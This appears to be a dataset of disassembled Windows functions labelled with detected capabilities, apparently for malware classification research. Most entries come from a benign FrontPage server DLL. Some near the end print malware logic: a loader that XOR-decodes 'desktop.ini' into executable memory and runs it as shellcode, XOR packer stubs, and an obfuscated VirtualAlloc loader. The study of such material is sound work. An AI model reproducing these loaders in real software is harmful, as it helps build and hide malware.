joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100a8405
Capabilities:
Get common file path

Disassembly:
push ecx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ecx, 0x10178fec
call sym.fpsrvutl.dll_Ordinal_2694
mov ecx, dword [esi + 0x200]
push ecx
push edi
cmp eax, 2
jne 0x100a842b
call dword [sym.imp.kernel32.dll_GetCurrentDirectoryW]
jmp 0x100a8431
call dword [sym.imp.kernel32.dll_GetCurrentDirectoryA]
pop edi
pop esi
pop ecx
ret

Function at 0x100a8435
Capabilities:
Set current directory

Disassembly:
push esi
mov esi, ecx
mov ecx, 0x10178fec
call sym.fpsrvutl.dll_Ordinal_2694
mov ecx, dword [esi + 0x200]
push ecx
cmp eax, 2
jne 0x100a8456
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryW]
pop esi
ret
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
pop esi
ret

Function at 0x100a8d84
Capabilities:
Enumerate files on windows

Disassembly:
push 0x67c
mov eax, 0x100e76f4
call fcn.10001af6
mov edi, ecx
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x220]
mov dword [ebp - 0x688], eax
call fcn.10005575
mov ebx, 0x10178fec
mov esi, 0x104
mov ecx, ebx
call sym.fpsrvutl.dll_Ordinal_2694
cmp eax, 2
mov ecx, 0x208
cmove esi, ecx
cmp esi, dword [ebp - 0x1c]
jle 0x100a8dd8
push 1
push esi
lea ecx, [ebp - 0x220]
call sym.fpsrvutl.dll_Ordinal_902
and dword [ebp - 4], 0
mov ecx, ebx
call sym.fpsrvutl.dll_Ordinal_2694
mov ecx, dword [ebp - 0x1c]
cmp eax, 2
jne 0x100a8ded
shr ecx, 1
lea edx, [ebp - 0x220]
call fcn.100a8405
test eax, eax
je 0x100a8f3e
lea ecx, [ebp - 0x680]
call fcn.10005575
push edi
call sym.fpsrvutl.dll_Ordinal_902
lea ecx, [ebp - 0x680]
mov byte [ebp - 4], 1
call fcn.100a8435
test eax, eax
je 0x100a8f24
mov dword [ebp - 0x684], 0x1017c79c
lock inc dword [0x1017c790]
mov ecx, ebx
mov byte [ebp - 4], 2
call sym.fpsrvutl.dll_Ordinal_2694
cmp eax, 2
lea eax, [ebp - 0x470]
push eax
jne 0x100a8e5d
push 0x100ef5a0
call dword [sym.imp.kernel32.dll_FindFirstFileW]
jmp 0x100a8e68
push 0x100efcd4
call dword [sym.imp.kernel32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x100a8f16
mov bl, byte [ebp + 0xc]
mov edi, dword [ebp - 0x688]
test byte [ebp - 0x470], 0x10
jne 0x100a8ee2
mov ecx, 0x10178fec
call sym.fpsrvutl.dll_Ordinal_2694
cmp eax, 2
lea eax, [ebp - 0x444]
jne 0x100a8ea8
push eax
lea ecx, [ebp - 0x684]
call sym.fpsrvutl.dll_Ordinal_3753
jmp 0x100a8ec3
push 0
push eax
call sym.fpsrvutl.dll_Ordinal_902
push eax
lea eax, [ebp - 0x444]
push eax
lea ecx, [ebp - 0x684]
call sym.fpsrvutl.dll_Ordinal_1496
mov ecx, dword [ebp - 0x684]
mov dl, bl
call fcn.100a8f53
test al, al
je 0x100a8ee2
lea eax, [ebp - 0x684]
mov ecx, edi
push eax
call sym.fpsrvutl.dll_Ordinal_902
mov ecx, 0x10178fec
call sym.fpsrvutl.dll_Ordinal_2694
cmp eax, 2
lea eax, [ebp - 0x470]
push eax
push esi
jne 0x100a8f01
call dword [sym.imp.kernel32.dll_FindNextFileW]
jmp 0x100a8f07
call dword [sym.imp.kernel32.dll_FindNextFileA]
test eax, eax
jne 0x100a8e7c
push esi
call dword [sym.imp.kernel32.dll_FindClose]
mov ecx, dword [ebp - 0x684]
lea ecx, [ecx - 0xc]
call sym.fpsrvutl.dll_Ordinal_5727
lea ecx, [ebp - 0x680]
mov byte [ebp - 4], 0
call fcn.100057a4
lea ecx, [ebp - 0x220]
call fcn.100a8435
lea ecx, [ebp - 0x220]
call fcn.100057a4
call fcn.10001b2d
ret 8
Function at 0x100aa45b
Capabilities:
Set thread local storage value

Disassembly:
push 0x10
mov eax, 0x100e7a12
call fcn.1000131b
mov ebx, ecx
mov ecx, dword [ebx + 0x5c]
xor edi, edi
test ecx, ecx
je 0x100aa4d8
mov eax, dword [vtable.VprocessGlobals.0]
mov edi, dword [eax + 0x24]
call fcn.100ab8dd
mov ecx, dword [ebx + 0x5c]
mov esi, eax
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ecx]
call dword [edx + 0xc]
and dword [ebp - 4], 0
push esi
push dword [eax]
mov esi, 0x10178fec
push str.The_error___s__with_hr:_d_in_the_thread_context_was_not_processed_before_thread_detach._The_full_error_log_entry_follows.
push 1
push 0
push esi
call edi
or dword [ebp - 4], 0xffffffff
add esp, 0x18
mov ecx, dword [ebp - 0x10]
lea ecx, [ecx - 0xc]
call sym.fpsrvutl.dll_Ordinal_5727
push dword [ebx + 0x5c]
mov eax, dword [vtable.VprocessGlobals.0]
mov ecx, esi
push 1
call dword [eax + 0xc]
mov ecx, dword [ebx + 0x5c]
test ecx, ecx
je 0x100aa4d3
mov eax, dword [ecx]
push 1
call dword [eax]
xor edi, edi
mov dword [ebx + 0x5c], edi
mov esi, dword [ebx + 0x30]
test esi, esi
je 0x100aa515
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 1
push eax
push 0x100209e6
mov ecx, esi
mov dword [ebp - 0x1c], 0x100706e5
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
call sym.fpsrvutl.dll_Ordinal_902
mov ecx, esi
call sym.fpsrvutl.dll_Ordinal_4537
or dword [ebp - 4], 0xffffffff
push esi
call sym.fpsrvutl.dll_Ordinal_902
pop ecx
mov dword [ebx + 0x30], edi
cmp dword [ebx + 0x74], edi
jle 0x100aa52b
mov ecx, ebx
mov dword [ebx + 0x74], 1
call sym.fpsrvutl.dll_Ordinal_2309
push edi
push dword [0x10150ddc]
call dword [sym.imp.kernel32.dll_TlsSetValue]
call fcn.100013b7
ret

Function at 0x100ab1e5
Capabilities:
Get thread local storage value

Disassembly:
push 0xc
mov eax, 0x100e2f44
call fcn.1000131b
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], 0x1017c79c
lock inc dword [0x1017c790]
and dword [ebp - 4], 0
push dword [0x10150ddc]
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov edi, eax
test edi, edi
je 0x100ab238
lea eax, [edi + 0x60]
mov ecx, dword [eax]
cmp dword [ecx - 4], 0
je 0x100ab238
push eax
lea ecx, [ebp - 0x10]
call sym.fpsrvutl.dll_Ordinal_902
mov eax, dword [edi + 0x2c]
shr eax, 2
and al, 1
jmp 0x100ab261
lea eax, [ebp - 0x14]
push eax
call sym.fpsrvutl.dll_Ordinal_902
push eax
lea ecx, [ebp - 0x10]
call sym.fpsrvutl.dll_Ordinal_902
mov eax, dword [ebp - 0x14]
lea ecx, [eax - 0xc]
call sym.fpsrvutl.dll_Ordinal_5727
push 0
call fcn.100047aa
mov al, byte [0x1017ca42]
test al, al
jne 0x100ab27a
mov dword [esi], 0x1017c79c
lock inc dword [0x1017c790]
mov ecx, dword [ebp - 0x10]
lea ecx, [ecx - 0xc]
jmp 0x100ab285
mov eax, dword [ebp - 0x10]
mov dword [esi], eax
lea ecx, [eax - 0xc]
lock inc dword [ecx]
call sym.fpsrvutl.dll_Ordinal_5727
mov eax, esi
call fcn.100013b7
ret
Function at 0x100ab801
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
xor eax, eax
push esi
mov esi, ecx
mov word [esi], ax
test ebx, ebx
je 0x100ab84c
push edi
push dword [0x10150ddc]
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov edi, eax
test edi, edi
je 0x100ab84b
movzx ecx, word [edi + 0x68]
movzx eax, bx
mov word [esi], cx
cmp cx, ax
jne 0x100ab83d
xor eax, eax
mov word [esi], ax
jmp 0x100ab84b
push eax
call sym.fpsrvutl.dll_Ordinal_902
push eax
mov ecx, edi
call sym.fpsrvutl.dll_Ordinal_902
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x100ab99f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
lea edi, [esi + 0xc]
lock inc dword [edi]
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push ebx
push esi
push 0x100aba0a
push ebx
push ebx
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov ecx, dword [ebp - 4]
add esp, 0x18
mov dword [esi + 8], ecx
test eax, eax
jne 0x100ab9eb
mov dword [esi + 4], ebx
or eax, 0xffffffff
lock xadd dword [edi], eax
dec eax
test eax, eax
jg 0x100ab9e7
mov eax, dword [esi]
mov ecx, esi
push 1
call dword [eax]
xor al, al
jmp 0x100ab9f0
mov dword [esi + 4], eax
mov al, 1
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x100ab9f7
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push dword [ecx + 4]
call dword [sym.imp.kernel32.dll_TerminateThread]
pop ebp
ret 4
Function at 0x100aec97
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, ecx
xor ebx, ebx
movsx eax, byte [edi + 8]
push eax
push dword [edi + 0x50]
mov eax, dword [vtable.VprocessGlobals.0]
push str.VdirectUpdateLock::endUpdate__InFilePath___s__Locked___d_n
push 3
push ebx
push 0x10178fec
call dword [eax + 0x24]
add esp, 0x18
cmp dword [edi + 0xb0], ebx
jne 0x100aece6
mov eax, dword [edi]
push 8
pop ecx
mov edx, dword [eax + 0x14]
xor eax, eax
cmp byte [ebp + 8], al
cmovne eax, ecx
mov ecx, edi
push eax
call edx
test eax, eax
jne 0x100aed84
mov eax, dword [edi + 0x12c]
push esi
cmp eax, 0xffffffff
je 0x100aed66
push ebx
push ebx
push ebx
push eax
call dword [sym.imp.kernel32.dll_SetFilePointer]
test eax, eax
jne 0x100aed8a
push ebx
lea eax, [ebp - 4]
push eax
push dword [edi + 0x134]
push dword [edi + 0x124]
push dword [edi + 0x12c]
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
je 0x100aed8a
mov eax, dword [ebp - 4]
cmp eax, dword [edi + 0x134]
jne 0x100aed8a
cmp byte [edi + 0x130], bl
jne 0x100aed48
push dword [edi + 0x12c]
call dword [sym.imp.kernel32.dll_SetEndOfFile]
test eax, eax
je 0x100aed8a
push dword [edi + 0x12c]
call dword [sym.imp.kernel32.dll_CloseHandle]
test eax, eax
jne 0x100aed5f
mov esi, 0x20006
jmp 0x100aed8f
or dword [edi + 0x12c], 0xffffffff
push dword [edi + 0x124]
call sym.fpsrvutl.dll_Ordinal_902
mov dword [edi + 0x124], ebx
xor eax, eax
mov byte [edi + 8], bl
mov dword [edi + 0xb0], ebx
pop ecx
pop esi
pop edi
pop ebx
leave
ret 4
mov esi, 0x2000c
mov ebx, dword [edi + 0x68]
call dword [sym.imp.kernel32.dll_GetLastError]
push ebx
mov edx, eax
mov ecx, esi
call fcn.1005ca7d
mov edx, dword [edi]
mov ecx, edi
mov esi, eax
call dword [edx + 8]
push dword [edi + 0x124]
call sym.fpsrvutl.dll_Ordinal_902
and dword [edi + 0x124], 0
mov eax, esi
jmp 0x100aed82
Function at 0x100b78af
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x488
mov eax, dword [0x10148250]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
push dword [0x10150ddc]
mov edi, dword [ebp + 8]
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov esi, eax
test esi, esi
je 0x100b7903
cmp dword [esi + 0xc], 0
jle 0x100b7903
mov ecx, dword [esi + 0x10]
cmp dword [ecx], 0
je 0x100b7903
push 0xffffffffffffffff
push dword [ecx]
lea eax, [ebp - 0x84]
push 0x80
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy_s]
jmp 0x100b791d
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
push eax
push str.thread_0x_x
lea eax, [ebp - 0x84]
push 0xffffffffffffffff
push eax
call sym.fpsrvutl.dll_Ordinal_902
mov eax, dword [vtable.VprocessGlobals.0]
add esp, 0x10
cmp byte [0x1017bdda], 0
push edi
je 0x100b7946
push ebx
push str._Assert_failure_in__s_xx____.400s_
push 0
push 0
push 0x10178fec
call dword [eax + 0x24]
add esp, 0x18
jmp 0x100b795e
push dword [ebp + 0x10]
push ebx
push str._Assert_failure_in__s__d___.400s_
push 0
push 8
push 0x10178fec
call dword [eax + 0x24]
add esp, 0x1c
cmp byte [0x1017bddd], 0
jne 0x100b7a28
mov ecx, str.SoftwareMicrosoftFrontPageServerExtensionsNoAssertMsgBox
call sym.fpsrvutl.dll_Ordinal_902
test al, al
jne 0x100b79e3
push edi
push dword [ebp + 0x10]
lea eax, [ebp - 0x84]
push ebx
push eax
push str.Assert_failed__Vframework___s___File__.200s__line__d_nExpression___.400s_n_click_Retry_to_debug_
lea eax, [ebp - 0x484]
push 0xffffffffffffffff
push eax
call sym.fpsrvutl.dll_Ordinal_902
add esp, 0x1c
mov ecx, str.SoftwareMicrosoftFrontPageServerExtensionsIgnoreAsserts
call sym.fpsrvutl.dll_Ordinal_902
push 3
pop ecx
push 5
test al, al
pop edx
cmovne ecx, edx
cmp byte [0x1014af8c], 0
je 0x100b79d1
push 0x12
push 0x1012551c
lea eax, [ebp - 0x484]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, eax
cmp ecx, 3
je 0x100b79e3
cmp ecx, 4
jne 0x100b7a28
call dword [sym.imp.kernel32.dll_DebugBreak]
jmp 0x100b7a28
test esi, esi
je 0x100b7a28
cmp dword [0x1017ca10], 0
je 0x100b79fc
mov ecx, 0x2d0
call sym.fpsrvutl.dll_Ordinal_902
jmp 0x100b7a08
push 0x2d0
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
pop ecx
mov esi, eax
test esi, esi
je 0x100b7a20
lea eax, [esi + 4]
mov dword [esi], vtable.VassertContextStatus.0
push eax
call dword [sym.imp.kernel32.dll_RtlCaptureContext]
jmp 0x100b7a22
xor esi, esi
push esi
call sym.fpsrvutl.dll_Ordinal_902
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100013a8
leave
ret 0xc
Function at 0x100b7a39
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x100b7ac1
mov eax, dword [vtable.VprocessGlobals.0]
push ebx
push edi
push dword [ebp + 0x10]
xor edi, edi
mov ebx, 0x10178fec
cmp byte [0x1017bddd], 0
push dword [ebp + 0xc]
je 0x100b7a6a
push str._nUnexpected_status_in_file:__s__line:_xx__n
push edi
push edi
jmp 0x100b7a72
push str._nUnexpected_status_in_file:__s__line:__d__n
push edi
push 8
push ebx
call dword [eax + 0x24]
mov eax, dword [vtable.VprocessGlobals.0]
add esp, 0x18
mov ecx, ebx
push esi
push edi
call dword [eax + 0xc]
mov eax, dword [vtable.VprocessGlobals.0]
push 0x100ef728
push edi
push edi
push ebx
call dword [eax + 0x24]
add esp, 0x10
push dword [0x10150ddc]
call dword [sym.imp.kernel32.dll_TlsGetValue]
pop edi
pop ebx
test eax, eax
je 0x100b7ab9
cmp byte [0x1017bddd], 0
jne 0x100b7ab9
push esi
call sym.fpsrvutl.dll_Ordinal_902
mov eax, dword [esi]
mov ecx, esi
push 1
call dword [eax]
pop esi
pop ebp
ret 0xc
Function at 0x100d41dd
Capabilities:
Allocate thread local storage

Disassembly:
push 4
mov eax, 0x100e9902
call fcn.1000131b
mov esi, ecx
mov dword [ebp - 0x10], esi
push 1
push 1
xor ebx, ebx
push ebx
push ebx
call sym.fpsrvutl.dll_Ordinal_902
mov eax, dword [ebp + 8]
mov ecx, esi
mov dword [ebp - 4], ebx
mov dword [esi + 0x50], eax
mov al, byte [ebp + 0xc]
push ebx
mov byte [esi + 0x54], al
mov al, byte [ebp + 0x14]
push ebx
push 8
mov dword [esi], vtable.SMP_HEAP.0
mov byte [esi + 0x55], 1
mov byte [esi + 0x56], al
mov word [esi + 0x34], bx
call fcn.100d1f77
push ebx
push ebx
push 0x14
mov ecx, esi
mov dword [esi + 0x38], eax
call fcn.100d1f77
push ebx
push ebx
push 8
mov ecx, esi
mov dword [esi + 0x3c], eax
call fcn.100d1f77
push ebx
push ebx
push 0xc
mov ecx, esi
mov dword [esi + 0x40], eax
mov dword [esi + 0x44], ebx
call fcn.100d1f77
mov ecx, dword [esi + 0x38]
mov dword [esi + 0x48], eax
test ecx, ecx
je 0x100d42a9
cmp dword [esi + 0x3c], ebx
je 0x100d42a9
cmp dword [esi + 0x40], ebx
je 0x100d42a9
test eax, eax
je 0x100d42a9
mov dword [ecx + 4], ebx
mov dword [ecx], ebx
mov eax, dword [esi + 0x40]
mov dword [eax + 4], ebx
mov dword [eax], ebx
mov edi, dword [esi + 0x48]
call dword [sym.imp.kernel32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [edi + 4], eax
setne cl
mov byte [edi], cl
je 0x100d42b3
cmp eax, 0x40000000
jge 0x100d42b3
lea eax, [eax*4 + 0xe10]
mov dword [edi + 8], eax
mov dword [esi + 0x4c], ebx
mov byte [esi + 0x34], 1
mov eax, esi
call fcn.100013b7
ret 0x14
mov ecx, str.No_TLS_available
call sym.fpsrvutl.dll_Ordinal_902
int3

Function at 0x100d4799
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp byte [esi + 0x34], 0
je 0x100d47d3
mov eax, dword [esi + 0x48]
push dword [eax + 4]
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
je 0x100d47c1
lea ecx, [eax + 8]
mov eax, dword [ecx]
pop esi
mov eax, dword [eax + 0xc]
pop ebp
jmp eax
push dword [ebp + 0x10]
mov ecx, esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.100d1e75
jmp 0x100d47d5
xor al, al
pop esi
pop ebp
ret 0xc
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x401000
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
jmp 0x403a1c
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x405076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x405220], eax
mov dword [0x4051a8], 0x403098
mov dword [0x4051a4], 2
jmp 0x403a4c
mov dword [0x4051ac], 0
mov dword [0x4051b0], 0
mov dword [0x4051a0], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4051b4], eax
mov dword [0x4051c8], 0x40426e
mov dword [0x4051c0], 0xf
mov dword [0x40506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4051b8], eax
mov dword [0x4051cc], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4051bc], eax
push 0x4051a0
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x40506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.justam
push 0x40426e
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x405218], eax
push 5
push dword [0x405218]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x405218]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x403b1f
push 0
push 0
push 0
push 0x4051d0
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x403b4c
push 0x4051d0
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x4051d0
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x403b1f
mov eax, dword [0x4051d8]
jmp 0x403b59
call 0x402be1
ret
Function at 0x408938
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x4085d8
mov ebx, 0x9bfe6733
add edx, edx
call fcn.00408961
add edx, edx
xor dword [eax], esi
or edx, edx
sub ebx, edx
inc eax
inc edx
inc ebx
cmp eax, ecx
jne fcn.00408938
sub ebx, ebx
and ebx, edx
ret
Function at 0x407180
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x4071be
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x4071b6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x4071c0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x4071a6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4072a0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x4072b6
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x4072d1
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408e84
nop
mov ecx, 0x402e0b29
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x546d6e30
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40672b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x40673a
pop dword [ebp - 0x28]
mov eax, 0x697c23ac
add eax, 0x96c4438e
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xe709b2e6
add dword [ebp - 0x38], 0x67489265
mov dword [ebp - 0x34], 0xf9773ce8
add dword [ebp - 0x34], 0x38bc0f5d
mov dword [ebp - 0x30], 0x7c554a80
add dword [ebp - 0x30], 0xcff6f9ae
mov dword [ebp - 0x2c], 0xafacd3f7
add dword [ebp - 0x2c], 0x50532c09
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xdd3cfddd
sub dword [ebp - 0x38], 0x68ca9487
mov dword [ebp - 0x34], 0x25e6bb16
sub dword [ebp - 0x34], 0xe47a59a1
mov dword [ebp - 0x30], 0xde672bda
add dword [ebp - 0x30], 0x85084092
mov dword [ebp - 0x2c], 0xe254fe5d
add dword [ebp - 0x2c], 0x1dab01a3
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x34be9
push 0
call eax
mov ecx, 0x71f6dbf2
sub ecx, 0x71f69f08
mov edx, eax
mov esi, 0x46e400
add esi, dword [ebp - 0x28]
mov ebx, 0x12450e74
add dword [ebp - 0x14], 0xef398fd4
mov edi, dword [esi]
xor dword [ebp - 0x1c], 0x4e6c0062
sub edi, ebx
sub dword [ebp - 0x20], ecx
mov dword [edx], edi
xor dword [ebp - 4], 0x18cf21c7
add edx, 4
add esi, 0xce89ad0b
add esi, 0x317652f9
loop 0x406846
add eax, 0xe67b
mov ebx, eax
add eax, 0xee6534c4
sub eax, 0xee6534bf
mov ecx, 0x2b68d86c
add ecx, 0xd4d72794
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x3f074977
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x433060
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x22f95190
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx